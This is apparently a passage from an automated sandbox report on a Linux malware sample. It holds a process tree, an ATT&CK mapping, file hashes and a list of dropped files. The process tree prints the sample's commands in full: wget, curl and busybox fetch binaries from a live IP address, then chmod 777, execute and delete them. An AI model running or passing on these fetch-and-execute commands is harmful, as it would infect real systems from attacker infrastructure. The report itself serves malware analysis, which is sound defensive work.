  - Executes dropped EXE
  PID:958
- /bin/rm
  rm 3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  PID:959
- /usr/bin/wget
  wget http://87.120.125.191/bins/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  PID:960
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  PID:962
- /bin/chmod
  chmod 777 nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  ./nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  PID:965
- /usr/bin/wget
  wget http://87.120.125.191/bins/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  PID:966
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  PID:968
- /bin/chmod
  chmod 777 sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  ./sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  PID:971
- /usr/bin/wget
  wget http://87.120.125.191/bins/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  PID:972
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:973
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  PID:974
- /bin/chmod
  chmod 777 hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  ./hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  PID:977

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH

Path /tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH	735	hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
/tmp/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA	742	nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
/tmp/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa	748	sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
/tmp/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi	760	sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
/tmp/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4	780	yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
/tmp/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6	806	bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
/tmp/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO	817	tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
/tmp/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP	826	bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
/tmp/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C	832	NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
/tmp/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE	850	l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
/tmp/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM	874	0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
/tmp/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE	880	3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
/tmp/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN	886	9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
/tmp/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH	892	reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
/tmp/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4	898	yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
/tmp/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6	904	bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
/tmp/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO	910	tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
/tmp/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi	916	sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
/tmp/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C	922	NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
/tmp/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE	928	l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
/tmp/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM	934	0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
/tmp/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP	940	bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
/tmp/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN	946	9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
/tmp/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH	952	reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
/tmp/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE	958	3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
/tmp/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA	964	nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
/tmp/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa	970	sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
/tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH	976	hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH